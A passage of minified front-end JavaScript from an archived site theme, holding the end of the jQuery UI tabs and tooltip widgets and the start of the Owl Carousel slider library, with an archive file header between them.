t=this._findNextTab(t,e),this.tabs.eq(t).focus(),t},_setOption:function(t,i){return"active"===t?(this._activate(i),e):"disabled"===t?(this._setupDisabled(i),e):(this._super(t,i),"collapsible"===t&&(this.element.toggleClass("ui-tabs-collapsible",i),i||this.options.active!==!1||this._activate(0)),"event"===t&&this._setupEvents(i),"heightStyle"===t&&this._setupHeightStyle(i),e)},_tabId:function(t){return t.attr("aria-controls")||"ui-tabs-"+i()},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var e=this.options,i=this.tablist.children(":has(a[href])");e.disabled=t.map(i.filter(".ui-state-disabled"),function(t){return i.index(t)}),this._processTabs(),e.active!==!1&&this.anchors.length?this.active.length&&!t.contains(this.tablist[0],this.active[0])?this.tabs.length===e.disabled.length?(e.active=!1,this.active=t()):this._activate(this._findNextTab(Math.max(0,e.active-1),!1)):e.active=this.tabs.index(this.active):(e.active=!1,this.active=t()),this._refresh()},_refresh:function(){this._setupDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-expanded":"false","aria-hidden":"true"}),this.active.length?(this.active.addClass("ui-tabs-active ui-state-active").attr({"aria-selected":"true",tabIndex:0}),this._getPanelForTab(this.active).show().attr({"aria-expanded":"true","aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var e=this;this.tablist=this._getList().addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").attr("role","tablist"),this.tabs=this.tablist.find("> li:has(a[href])").addClass("ui-state-default ui-corner-top").attr({role:"tab",tabIndex:-1}),this.anchors=this.tabs.map(function(){return t("a",this)[0]}).addClass("ui-tabs-anchor").attr({role:"presentation",tabIndex:-1}),this.panels=t(),this.anchors.each(function(i,n){var o,a,r,h=t(n).uniqueId().attr("id"),l=t(n).closest("li"),c=l.attr("aria-controls");s(n)?(o=n.hash,a=e.element.find(e._sanitizeSelector(o))):(r=e._tabId(l),o="#"+r,a=e.element.find(o),a.length||(a=e._createPanel(r),a.insertAfter(e.panels[i-1]||e.tablist)),a.attr("aria-live","polite")),a.length&&(e.panels=e.panels.add(a)),c&&l.data("ui-tabs-aria-controls",c),l.attr({"aria-controls":o.substring(1),"aria-labelledby":h}),a.attr("aria-labelledby",h)}),this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").attr("role","tabpanel")},_getList:function(){return this.element.find("ol,ul").eq(0)},_createPanel:function(e){return t("<div>").attr("id",e).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").data("ui-tabs-destroy",!0)},_setupDisabled:function(e){t.isArray(e)&&(e.length?e.length===this.anchors.length&&(e=!0):e=!1);for(var i,s=0;i=this.tabs[s];s++)e===!0||-1!==t.inArray(s,e)?t(i).addClass("ui-state-disabled").attr("aria-disabled","true"):t(i).removeClass("ui-state-disabled").removeAttr("aria-disabled");this.options.disabled=e},_setupEvents:function(e){var i={click:function(t){t.preventDefault()}};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(e){var i,s=this.element.parent();"fill"===e?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var e=t(this),s=e.css("position");"absolute"!==s&&"fixed"!==s&&(i-=e.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=t(this).outerHeight(!0)}),this.panels.each(function(){t(this).height(Math.max(0,i-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.panels.each(function(){i=Math.max(i,t(this).height("").height())}).height(i))},_eventHandler:function(e){var i=this.options,s=this.active,n=t(e.currentTarget),o=n.closest("li"),a=o[0]===s[0],r=a&&i.collapsible,h=r?t():this._getPanelForTab(o),l=s.length?this._getPanelForTab(s):t(),c={oldTab:s,oldPanel:l,newTab:r?t():o,newPanel:h};e.preventDefault(),o.hasClass("ui-state-disabled")||o.hasClass("ui-tabs-loading")||this.running||a&&!i.collapsible||this._trigger("beforeActivate",e,c)===!1||(i.active=r?!1:this.tabs.index(o),this.active=a?t():o,this.xhr&&this.xhr.abort(),l.length||h.length||t.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(o),e),this._toggle(e,c))},_toggle:function(e,i){function s(){o.running=!1,o._trigger("activate",e,i)}function n(){i.newTab.closest("li").addClass("ui-tabs-active ui-state-active"),a.length&&o.options.show?o._show(a,o.options.show,s):(a.show(),s())}var o=this,a=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),n()}):(i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),r.hide(),n()),r.attr({"aria-expanded":"false","aria-hidden":"true"}),i.oldTab.attr("aria-selected","false"),a.length&&r.length?i.oldTab.attr("tabIndex",-1):a.length&&this.tabs.filter(function(){return 0===t(this).attr("tabIndex")}).attr("tabIndex",-1),a.attr({"aria-expanded":"true","aria-hidden":"false"}),i.newTab.attr({"aria-selected":"true",tabIndex:0})},_activate:function(e){var i,s=this._findActive(e);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return e===!1?t():this.tabs.eq(e)},_getIndex:function(t){return"string"==typeof t&&(t=this.anchors.index(this.anchors.filter("[href$='"+t+"']"))),t},_destroy:function(){this.xhr&&this.xhr.abort(),this.element.removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible"),this.tablist.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").removeAttr("role"),this.anchors.removeClass("ui-tabs-anchor").removeAttr("role").removeAttr("tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){t.data(this,"ui-tabs-destroy")?t(this).remove():t(this).removeClass("ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel").removeAttr("tabIndex").removeAttr("aria-live").removeAttr("aria-busy").removeAttr("aria-selected").removeAttr("aria-labelledby").removeAttr("aria-hidden").removeAttr("aria-expanded").removeAttr("role")}),this.tabs.each(function(){var e=t(this),i=e.data("ui-tabs-aria-controls");i?e.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):e.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var s=this.options.disabled;s!==!1&&(i===e?s=!1:(i=this._getIndex(i),s=t.isArray(s)?t.map(s,function(t){return t!==i?t:null}):t.map(this.tabs,function(t,e){return e!==i?e:null})),this._setupDisabled(s))},disable:function(i){var s=this.options.disabled;if(s!==!0){if(i===e)s=!0;else{if(i=this._getIndex(i),-1!==t.inArray(i,s))return;s=t.isArray(s)?t.merge([i],s).sort():[i]}this._setupDisabled(s)}},load:function(e,i){e=this._getIndex(e);var n=this,o=this.tabs.eq(e),a=o.find(".ui-tabs-anchor"),r=this._getPanelForTab(o),h={tab:o,panel:r};s(a[0])||(this.xhr=t.ajax(this._ajaxSettings(a,i,h)),this.xhr&&"canceled"!==this.xhr.statusText&&(o.addClass("ui-tabs-loading"),r.attr("aria-busy","true"),this.xhr.success(function(t){setTimeout(function(){r.html(t),n._trigger("load",i,h)},1)}).complete(function(t,e){setTimeout(function(){"abort"===e&&n.panels.stop(!1,!0),o.removeClass("ui-tabs-loading"),r.removeAttr("aria-busy"),t===n.xhr&&delete n.xhr},1)})))},_ajaxSettings:function(e,i,s){var n=this;return{url:e.attr("href"),beforeSend:function(e,o){return n._trigger("beforeLoad",i,t.extend({jqXHR:e,ajaxSettings:o},s))}}},_getPanelForTab:function(e){var i=t(e).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}})}(jQuery),function(t){function e(e,i){var s=(e.attr("aria-describedby")||"").split(/\s+/);s.push(i),e.data("ui-tooltip-id",i).attr("aria-describedby",t.trim(s.join(" ")))}function i(e){var i=e.data("ui-tooltip-id"),s=(e.attr("aria-describedby")||"").split(/\s+/),n=t.inArray(i,s);-1!==n&&s.splice(n,1),e.removeData("ui-tooltip-id"),s=t.trim(s.join(" ")),s?e.attr("aria-describedby",s):e.removeAttr("aria-describedby")}var s=0;t.widget("ui.tooltip",{version:"1.10.3",options:{content:function(){var e=t(this).attr("title")||"";return t("<a>").text(e).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,tooltipClass:null,track:!1,close:null,open:null},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.options.disabled&&this._disable()},_setOption:function(e,i){var s=this;return"disabled"===e?(this[i?"_disable":"_enable"](),this.options[e]=i,void 0):(this._super(e,i),"content"===e&&t.each(this.tooltips,function(t,e){s._updateContent(e)}),void 0)},_disable:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur");n.target=n.currentTarget=s[0],e.close(n,!0)}),this.element.find(this.options.items).addBack().each(function(){var e=t(this);e.is("[title]")&&e.data("ui-tooltip-title",e.attr("title")).attr("title","")})},_enable:function(){this.element.find(this.options.items).addBack().each(function(){var e=t(this);e.data("ui-tooltip-title")&&e.attr("title",e.data("ui-tooltip-title"))})},open:function(e){var i=this,s=t(e?e.target:this.element).closest(this.options.items);s.length&&!s.data("ui-tooltip-id")&&(s.attr("title")&&s.data("ui-tooltip-title",s.attr("title")),s.data("ui-tooltip-open",!0),e&&"mouseover"===e.type&&s.parents().each(function(){var e,s=t(this);s.data("ui-tooltip-open")&&(e=t.Event("blur"),e.target=e.currentTarget=this,i.close(e,!0)),s.attr("title")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr("title")},s.attr("title",""))}),this._updateContent(s,e))},_updateContent:function(t,e){var i,s=this.options.content,n=this,o=e?e.type:null;return"string"==typeof s?this._open(e,t,s):(i=s.call(t[0],function(i){t.data("ui-tooltip-open")&&n._delay(function(){e&&(e.type=o),this._open(e,t,i)})}),i&&this._open(e,t,i),void 0)},_open:function(i,s,n){function o(t){l.of=t,a.is(":hidden")||a.position(l)}var a,r,h,l=t.extend({},this.options.position);
if(n){if(a=this._find(s),a.length)return a.find(".ui-tooltip-content").html(n),void 0;s.is("[title]")&&(i&&"mouseover"===i.type?s.attr("title",""):s.removeAttr("title")),a=this._tooltip(s),e(s,a.attr("id")),a.find(".ui-tooltip-content").html(n),this.options.track&&i&&/^mouse/.test(i.type)?(this._on(this.document,{mousemove:o}),o(i)):a.position(t.extend({of:s},this.options.position)),a.hide(),this._show(a,this.options.show),this.options.show&&this.options.show.delay&&(h=this.delayedShow=setInterval(function(){a.is(":visible")&&(o(l.of),clearInterval(h))},t.fx.interval)),this._trigger("open",i,{tooltip:a}),r={keyup:function(e){if(e.keyCode===t.ui.keyCode.ESCAPE){var i=t.Event(e);i.currentTarget=s[0],this.close(i,!0)}},remove:function(){this._removeTooltip(a)}},i&&"mouseover"!==i.type||(r.mouseleave="close"),i&&"focusin"!==i.type||(r.focusout="close"),this._on(!0,s,r)}},close:function(e){var s=this,n=t(e?e.currentTarget:this.element),o=this._find(n);this.closing||(clearInterval(this.delayedShow),n.data("ui-tooltip-title")&&n.attr("title",n.data("ui-tooltip-title")),i(n),o.stop(!0),this._hide(o,this.options.hide,function(){s._removeTooltip(t(this))}),n.removeData("ui-tooltip-open"),this._off(n,"mouseleave focusout keyup"),n[0]!==this.element[0]&&this._off(n,"remove"),this._off(this.document,"mousemove"),e&&"mouseleave"===e.type&&t.each(this.parents,function(e,i){t(i.element).attr("title",i.title),delete s.parents[e]}),this.closing=!0,this._trigger("close",e,{tooltip:o}),this.closing=!1)},_tooltip:function(e){var i="ui-tooltip-"+s++,n=t("<div>").attr({id:i,role:"tooltip"}).addClass("ui-tooltip ui-widget ui-corner-all ui-widget-content "+(this.options.tooltipClass||""));return t("<div>").addClass("ui-tooltip-content").appendTo(n),n.appendTo(this.document[0].body),this.tooltips[i]=e,n},_find:function(e){var i=e.data("ui-tooltip-id");return i?t("#"+i):t()},_removeTooltip:function(t){t.remove(),delete this.tooltips[t.attr("id")]},_destroy:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur");n.target=n.currentTarget=s[0],e.close(n,!0),t("#"+i).remove(),s.data("ui-tooltip-title")&&(s.attr("title",s.data("ui-tooltip-title")),s.removeData("ui-tooltip-title"))})}})}(jQuery);PK!�.O�R]R]'bluetheme/assets/js/owl.carousel.min.jsnu&1i�"function"!==typeof Object.create&&(Object.create=function(f){function g(){}g.prototype=f;return new g});
(function(f,g,k){var l={init:function(a,b){this.$elem=f(b);this.options=f.extend({},f.fn.owlCarousel.options,this.$elem.data(),a);this.userOptions=a;this.loadContent()},loadContent:function(){function a(a){var d,e="";if("function"===typeof b.options.jsonSuccess)b.options.jsonSuccess.apply(this,[a]);else{for(d in a.owl)a.owl.hasOwnProperty(d)&&(e+=a.owl[d].item);b.$elem.html(e)}b.logIn()}var b=this,e;"function"===typeof b.options.beforeInit&&b.options.beforeInit.apply(this,[b.$elem]);"string"===typeof b.options.jsonPath?
(e=b.options.jsonPath,f.getJSON(e,a)):b.logIn()},logIn:function(){this.$elem.data("owl-originalStyles",this.$elem.attr("style"));this.$elem.data("owl-originalClasses",this.$elem.attr("class"));this.$elem.css({opacity:0});this.orignalItems=this.options.items;this.checkBrowser();this.wrapperWidth=0;this.checkVisible=null;this.setVars()},setVars:function(){if(0===this.$elem.children().length)return!1;this.baseClass();this.eventTypes();this.$userItems=this.$elem.children();this.itemsAmount=this.$userItems.length;
this.wrapItems();this.$owlItems=this.$elem.find(".owl-item");this.$owlWrapper=this.$elem.find(".owl-wrapper");this.playDirection="next";this.prevItem=0;this.prevArr=[0];this.currentItem=0;this.customEvents();this.onStartup()},onStartup:function(){this.updateItems();this.calculateAll();this.buildControls();this.updateControls();this.response();this.moveEvents();this.stopOnHover();this.owlStatus();!1!==this.options.transitionStyle&&this.transitionTypes(this.options.transitionStyle);!0===this.options.autoPlay&&
(this.options.autoPlay=5E3);this.play();this.$elem.find(".owl-wrapper").css("display","block");this.$elem.is(":visible")?this.$elem.css("opacity",1):this.watchVisibility();this.onstartup=!1;this.eachMoveUpdate();"function"===typeof this.options.afterInit&&this.options.afterInit.apply(this,[this.$elem])},eachMoveUpdate:function(){!0===this.options.lazyLoad&&this.lazyLoad();!0===this.options.autoHeight&&this.autoHeight();this.onVisibleItems();"function"===typeof this.options.afterAction&&this.options.afterAction.apply(this,
[this.$elem])},updateVars:function(){"function"===typeof this.options.beforeUpdate&&this.options.beforeUpdate.apply(this,[this.$elem]);this.watchVisibility();this.updateItems();this.calculateAll();this.updatePosition();this.updateControls();this.eachMoveUpdate();"function"===typeof this.options.afterUpdate&&this.options.afterUpdate.apply(this,[this.$elem])},reload:function(){var a=this;g.setTimeout(function(){a.updateVars()},0)},watchVisibility:function(){var a=this;if(!1===a.$elem.is(":visible"))a.$elem.css({opacity:0}),
g.clearInterval(a.autoPlayInterval),g.clearInterval(a.checkVisible);else return!1;a.checkVisible=g.setInterval(function(){a.$elem.is(":visible")&&(a.reload(),a.$elem.animate({opacity:1},200),g.clearInterval(a.checkVisible))},500)},wrapItems:function(){this.$userItems.wrapAll('<div class="owl-wrapper">').wrap('<div class="owl-item"></div>');this.$elem.find(".owl-wrapper").wrap('<div class="owl-wrapper-outer">');this.wrapperOuter=this.$elem.find(".owl-wrapper-outer");this.$elem.css("display","block")},
baseClass:function(){var a=this.$elem.hasClass(this.options.baseClass),b=this.$elem.hasClass(this.options.theme);a||this.$elem.addClass(this.options.baseClass);b||this.$elem.addClass(this.options.theme)},updateItems:function(){var a,b;if(!1===this.options.responsive)return!1;if(!0===this.options.singleItem)return this.options.items=this.orignalItems=1,this.options.itemsCustom=!1,this.options.itemsDesktop=!1,this.options.itemsDesktopSmall=!1,this.options.itemsTablet=!1,this.options.itemsTabletSmall=
!1,this.options.itemsMobile=!1;a=f(this.options.responsiveBaseWidth).width();a>(this.options.itemsDesktop[0]||this.orignalItems)&&(this.options.items=this.orignalItems);if(!1!==this.options.itemsCustom)for(this.options.itemsCustom.sort(function(a,b){return a[0]-b[0]}),b=0;b<this.options.itemsCustom.length;b+=1)this.options.itemsCustom[b][0]<=a&&(this.options.items=this.options.itemsCustom[b][1]);else a<=this.options.itemsDesktop[0]&&!1!==this.options.itemsDesktop&&(this.options.items=this.options.itemsDesktop[1]),
a<=this.options.itemsDesktopSmall[0]&&!1!==this.options.itemsDesktopSmall&&(this.options.items=this.options.itemsDesktopSmall[1]),a<=this.options.itemsTablet[0]&&!1!==this.options.itemsTablet&&(this.options.items=this.options.itemsTablet[1]),a<=this.options.itemsTabletSmall[0]&&!1!==this.options.itemsTabletSmall&&(this.options.items=this.options.itemsTabletSmall[1]),a<=this.options.itemsMobile[0]&&!1!==this.options.itemsMobile&&(this.options.items=this.options.itemsMobile[1]);this.options.items>this.itemsAmount&&
!0===this.options.itemsScaleUp&&(this.options.items=this.itemsAmount)},response:function(){var a=this,b,e;if(!0!==a.options.responsive)return!1;e=f(g).width();a.resizer=function(){f(g).width()!==e&&(!1!==a.options.autoPlay&&g.clearInterval(a.autoPlayInterval),g.clearTimeout(b),b=g.setTimeout(function(){e=f(g).width();a.updateVars()},a.options.responsiveRefreshRate))};f(g).resize(a.resizer)},updatePosition:function(){this.jumpTo(this.currentItem);!1!==this.options.autoPlay&&this.checkAp()},appendItemsSizes:function(){var a=
this,b=0,e=a.itemsAmount-a.options.items;a.$owlItems.each(function(c){var d=f(this);d.css({width:a.itemWidth}).data("owl-item",Number(c));if(0===c%a.options.items||c===e)c>e||(b+=1);d.data("owl-roundPages",b)})},appendWrapperSizes:function(){this.$owlWrapper.css({width:this.$owlItems.length*this.itemWidth*2,left:0});this.appendItemsSizes()},calculateAll:function(){this.calculateWidth();this.appendWrapperSizes();this.loops();this.max()},calculateWidth:function(){this.itemWidth=Math.round(this.$elem.width()/
this.options.items)},max:function(){var a=-1*(this.itemsAmount*this.itemWidth-this.options.items*this.itemWidth);this.options.items>this.itemsAmount?this.maximumPixels=a=this.maximumItem=0:(this.maximumItem=this.itemsAmount-this.options.items,this.maximumPixels=a);return a},min:function(){return 0},loops:function(){var a=0,b=0,e,c;this.positionsInArray=[0];this.pagesInArray=[];for(e=0;e<this.itemsAmount;e+=1)b+=this.itemWidth,this.positionsInArray.push(-b),!0===this.options.scrollPerPage&&(c=f(this.$owlItems[e]),
c=c.data("owl-roundPages"),c!==a&&(this.pagesInArray[a]=this.positionsInArray[e],a=c))},buildControls:function(){if(!0===this.options.navigation||!0===this.options.pagination)this.owlControls=f('<div class="owl-controls"/>').toggleClass("clickable",!this.browser.isTouch).appendTo(this.$elem);!0===this.options.pagination&&this.buildPagination();!0===this.options.navigation&&this.buildButtons()},buildButtons:function(){var a=this,b=f('<div class="owl-buttons"/>');a.owlControls.append(b);a.buttonPrev=
f("<div/>",{"class":"owl-prev",html:a.options.navigationText[0]||""});a.buttonNext=f("<div/>",{"class":"owl-next",html:a.options.navigationText[1]||""});b.append(a.buttonPrev).append(a.buttonNext);b.on("touchstart.owlControls mousedown.owlControls",'div[class^="owl"]',function(a){a.preventDefault()});b.on("touchend.owlControls mouseup.owlControls",'div[class^="owl"]',function(b){b.preventDefault();f(this).hasClass("owl-next")?a.next():a.prev()})},buildPagination:function(){var a=this;a.paginationWrapper=
f('<div class="owl-pagination"/>');a.owlControls.append(a.paginationWrapper);a.paginationWrapper.on("touchend.owlControls mouseup.owlControls",".owl-page",function(b){b.preventDefault();Number(f(this).data("owl-page"))!==a.currentItem&&a.goTo(Number(f(this).data("owl-page")),!0)})},updatePagination:function(){var a,b,e,c,d,g;if(!1===this.options.pagination)return!1;this.paginationWrapper.html("");a=0;b=this.itemsAmount-this.itemsAmount%this.options.items;for(c=0;c<this.itemsAmount;c+=1)0===c%this.options.items&&
(a+=1,b===c&&(e=this.itemsAmount-this.options.items),d=f("<div/>",{"class":"owl-page"}),g=f("<span></span>",{text:!0===this.options.paginationNumbers?a:"","class":!0===this.options.paginationNumbers?"owl-numbers":""}),d.append(g),d.data("owl-page",b===c?e:c),d.data("owl-roundPages",a),this.paginationWrapper.append(d));this.checkPagination()},checkPagination:function(){var a=this;if(!1===a.options.pagination)return!1;a.paginationWrapper.find(".owl-page").each(function(){f(this).data("owl-roundPages")===
f(a.$owlItems[a.currentItem]).data("owl-roundPages")&&(a.paginationWrapper.find(".owl-page").removeClass("active"),f(this).addClass("active"))})},checkNavigation:function(){if(!1===this.options.navigation)return!1;!1===this.options.rewindNav&&(0===this.currentItem&&0===this.maximumItem?(this.buttonPrev.addClass("disabled"),this.buttonNext.addClass("disabled")):0===this.currentItem&&0!==this.maximumItem?(this.buttonPrev.addClass("disabled"),this.buttonNext.removeClass("disabled")):this.currentItem===
this.maximumItem?(this.buttonPrev.removeClass("disabled"),this.buttonNext.addClass("disabled")):0!==this.currentItem&&this.currentItem!==this.maximumItem&&(this.buttonPrev.removeClass("disabled"),this.buttonNext.removeClass("disabled")))},updateControls:function(){this.updatePagination();this.checkNavigation();this.owlControls&&(this.options.items>=this.itemsAmount?this.owlControls.hide():this.owlControls.show())},destroyControls:function(){this.owlControls&&this.owlControls.remove()},next:function(a){if(this.isTransition)return!1;
this.currentItem+=!0===this.options.scrollPerPage?this.options.items:1;if(this.currentItem>this.maximumItem+(!0===this.options.scrollPerPage?this.options.items-1:0))if(!0===this.options.rewindNav)this.currentItem=0,a="rewind";else return this.currentItem=this.maximumItem,!1;this.goTo(this.currentItem,a)},prev:function(a){if(this.isTransition)return!1;this.currentItem=!0===this.options.scrollPerPage&&0<this.currentItem&&this.currentItem<this.options.items?0:this.currentItem-(!0===this.options.scrollPerPage?
this.options.items:1);if(0>this.currentItem)if(!0===this.options.rewindNav)this.currentItem=this.maximumItem,a="rewind";else return this.currentItem=0,!1;this.goTo(this.currentItem,a)},goTo:function(a,b,e){var c=this;if(c.isTransition)return!1;"function"===typeof c.options.beforeMove&&c.options.beforeMove.apply(this,[c.$elem]);a>=c.maximumItem?a=c.maximumItem:0>=a&&(a=0);c.currentItem=c.owl.currentItem=a;if(!1!==c.options.transitionStyle&&"drag"!==e&&1===c.options.items&&!0===c.browser.support3d)return c.swapSpeed(0),
!0===c.browser.support3d?c.transition3d(c.positionsInArray[a]):c.css2slide(c.positionsInArray[a],1),c.afterGo(),c.singleItemTransition(),!1;a=c.positionsInArray[a];!0===c.browser.support3d?(c.isCss3Finish=!1,!0===b?(c.swapSpeed("paginationSpeed"),g.setTimeout(function(){c.isCss3Finish=!0},c.options.paginationSpeed)):"rewind"===b?(c.swapSpeed(c.options.rewindSpeed),g.setTimeout(function(){c.isCss3Finish=!0},c.options.rewindSpeed)):(c.swapSpeed("slideSpeed"),g.setTimeout(function(){c.isCss3Finish=!0},
c.options.slideSpeed)),c.transition3d(a)):!0===b?c.css2slide(a,c.options.paginationSpeed):"rewind"===b?c.css2slide(a,c.options.rewindSpeed):c.css2slide(a,c.options.slideSpeed);c.afterGo()},jumpTo:function(a){"function"===typeof this.options.beforeMove&&this.options.beforeMove.apply(this,[this.$elem]);a>=this.maximumItem||-1===a?a=this.maximumItem:0>=a&&(a=0);this.swapSpeed(0);!0===this.browser.support3d?this.transition3d(this.positionsInArray[a]):this.css2slide(this.positionsInArray[a],1);this.currentItem=
this.owl.currentItem=a;this.afterGo()},afterGo:function(){this.prevArr.push(this.currentItem);this.prevItem=this.owl.prevItem=this.prevArr[this.prevArr.length-2];this.prevArr.shift(0);this.prevItem!==this.currentItem&&(this.checkPagination(),this.checkNavigation(),this.eachMoveUpdate(),!1!==this.options.autoPlay&&this.checkAp());"function"===typeof this.options.afterMove&&this.prevItem!==this.currentItem&&this.options.afterMove.apply(this,[this.$elem])},stop:function(){this.apStatus="stop";g.clearInterval(this.autoPlayInterval)},
checkAp:function(){"stop"!==this.apStatus&&this.play()},play:function(){var a=this;a.apStatus="play";if(!1===a.options.autoPlay)return!1;g.clearInterval(a.autoPlayInterval);a.autoPlayInterval=g.setInterval(function(){a.next(!0)},a.options.autoPlay)},swapSpeed:function(a){"slideSpeed"===a?this.$owlWrapper.css(this.addCssSpeed(this.options.slideSpeed)):"paginationSpeed"===a?this.$owlWrapper.css(this.addCssSpeed(this.options.paginationSpeed)):"string"!==typeof a&&this.$owlWrapper.css(this.addCssSpeed(a))},
addCssSpeed:function(a){return{"-webkit-transition":"all "+a+"ms ease","-moz-transition":"all "+a+"ms ease","-o-transition":"all "+a+"ms ease",transition:"all "+a+"ms ease"}},removeTransition:function(){return{"-webkit-transition":"","-moz-transition":"","-o-transition":"",transition:""}},doTranslate:function(a){return{"-webkit-transform":"translate3d("+a+"px, 0px, 0px)","-moz-transform":"translate3d("+a+"px, 0px, 0px)","-o-transform":"translate3d("+a+"px, 0px, 0px)","-ms-transform":"translate3d("+
a+"px, 0px, 0px)",transform:"translate3d("+a+"px, 0px,0px)"}},transition3d:function(a){this.$owlWrapper.css(this.doTranslate(a))},css2move:function(a){this.$owlWrapper.css({left:a})},css2slide:function(a,b){var e=this;e.isCssFinish=!1;e.$owlWrapper.stop(!0,!0).animate({left:a},{duration:b||e.options.slideSpeed,complete:function(){e.isCssFinish=!0}})},checkBrowser:function(){var a=k.createElement("div");a.style.cssText="  -moz-transform:translate3d(0px, 0px, 0px); -ms-transform:translate3d(0px, 0px, 0px); -o-transform:translate3d(0px, 0px, 0px); -webkit-transform:translate3d(0px, 0px, 0px); transform:translate3d(0px, 0px, 0px)";
a=a.style.cssText.match(/translate3d\(0px, 0px, 0px\)/g);this.browser={support3d:null!==a&&1===a.length,isTouch:"ontouchstart"in g||g.navigator.msMaxTouchPoints}},moveEvents:function(){if(!1!==this.options.mouseDrag||!1!==this.options.touchDrag)this.gestures(),this.disabledEvents()},eventTypes:function(){var a=["s","e","x"];this.ev_types={};!0===this.options.mouseDrag&&!0===this.options.touchDrag?a=["touchstart.owl mousedown.owl","touchmove.owl mousemove.owl","touchend.owl touchcancel.owl mouseup.owl"]:
!1===this.options.mouseDrag&&!0===this.options.touchDrag?a=["touchstart.owl","touchmove.owl","touchend.owl touchcancel.owl"]:!0===this.options.mouseDrag&&!1===this.options.touchDrag&&(a=["mousedown.owl","mousemove.owl","mouseup.owl"]);this.ev_types.start=a[0];this.ev_types.move=a[1];this.ev_types.end=a[2]},disabledEvents:function(){this.$elem.on("dragstart.owl",function(a){a.preventDefault()});this.$elem.on("mousedown.disableTextSelect",function(a){return f(a.target).is("input, textarea, select, option")})},
gestures:function(){function a(a){if(void 0!==a.touches)return{x:a.touches[0].pageX,y:a.touches[0].pageY};if(void 0===a.touches){if(void 0!==a.pageX)return{x:a.pageX,y:a.pageY};if(void 0===a.pageX)return{x:a.clientX,y:a.clientY}}}function b(a){"on"===a?(f(k).on(d.ev_types.move,e),f(k).on(d.ev_types.end,c)):"off"===a&&(f(k).off(d.ev_types.move),f(k).off(d.ev_types.end))}function e(b){b=b.originalEvent||b||g.event;d.newPosX=a(b).x-h.offsetX;d.newPosY=a(b).y-h.offsetY;d.newRelativeX=d.newPosX-h.relativePos;
"function"===typeof d.options.startDragging&&!0!==h.dragging&&0!==d.newRelativeX&&(h.dragging=!0,d.options.startDragging.apply(d,[d.$elem]));(8<d.newRelativeX||-8>d.newRelativeX)&&!0===d.browser.isTouch&&(void 0!==b.preventDefault?b.preventDefault():b.returnValue=!1,h.sliding=!0);(10<d.newPosY||-10>d.newPosY)&&!1===h.sliding&&f(k).off("touchmove.owl");d.newPosX=Math.max(Math.min(d.newPosX,d.newRelativeX/5),d.maximumPixels+d.newRelativeX/5);!0===d.browser.support3d?d.transition3d(d.newPosX):d.css2move(d.newPosX)}
function c(a){a=a.originalEvent||a||g.event;var c;a.target=a.target||a.srcElement;h.dragging=!1;!0!==d.browser.isTouch&&d.$owlWrapper.removeClass("grabbing");d.dragDirection=0>d.newRelativeX?d.owl.dragDirection="left":d.owl.dragDirection="right";0!==d.newRelativeX&&(c=d.getNewPosition(),d.goTo(c,!1,"drag"),h.targetElement===a.target&&!0!==d.browser.isTouch&&(f(a.target).on("click.disable",function(a){a.stopImmediatePropagation();a.stopPropagation();a.preventDefault();f(a.target).off("click.disable")}),
a=f._data(a.target,"events").click,c=a.pop(),a.splice(0,0,c)));b("off")}var d=this,h={offsetX:0,offsetY:0,baseElWidth:0,relativePos:0,position:null,minSwipe:null,maxSwipe:null,sliding:null,dargging:null,targetElement:null};d.isCssFinish=!0;d.$elem.on(d.ev_types.start,".owl-wrapper",function(c){c=c.originalEvent||c||g.event;var e;if(3===c.which)return!1;if(!(d.itemsAmount<=d.options.items)){if(!1===d.isCssFinish&&!d.options.dragBeforeAnimFinish||!1===d.isCss3Finish&&!d.options.dragBeforeAnimFinish)return!1;
